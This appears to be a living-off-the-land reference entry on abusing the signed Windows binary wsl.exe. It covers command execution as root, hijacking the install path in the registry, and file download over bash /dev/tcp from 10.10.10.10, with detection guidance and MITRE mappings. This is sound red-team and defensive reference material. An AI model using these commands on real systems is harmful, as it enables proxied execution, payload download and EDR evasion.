wsl.exe

wsl.exe (signed, present where WSL is installed) runs arbitrary Linux commands via --exec/-e (as root with -u root, no password), giving indirect command execution under a trusted binary. bash's /dev/tcp pulls files with no external tool. wsl.exe also resolves its install path from HKLM\...\Lxss\MSI\InstallLocation, so a planted wsl.exe there is executed instead of the legitimate one.

Use Execute payloads on the Linux side (evading Windows EDR), transfer files via /dev/tcp, or masquerade a payload as WSL.

wsl.exe --exec bash -c "id > /mnt/c/Windows/Temp/x"
wsl.exe --exec bash -c 'cat < /dev/tcp/10.10.10.10/54 > /tmp/x'

Context

user

Native

Execute, Download

MITRE

T1202T1105T1218

Detection

Detection: wsl.exe with -e/--exec/-u root; wsl.exe/bash.exe spawning children outside System32; changes to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation; /dev/tcp usage inside WSL bash.

Verified

✓ LOLBAS Wsl.yml documents `wsl.exe --exec bash -c "{CMD}"` (T1202), `wsl.exe --exec bash -c 'cat < /dev/tcp/.../.. > binary'` (T1105), and the HKLM\...\Lxss\MSI\InstallLocation lookup; match.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Wsl.yml

attack.mitre.org/techniques/T1202/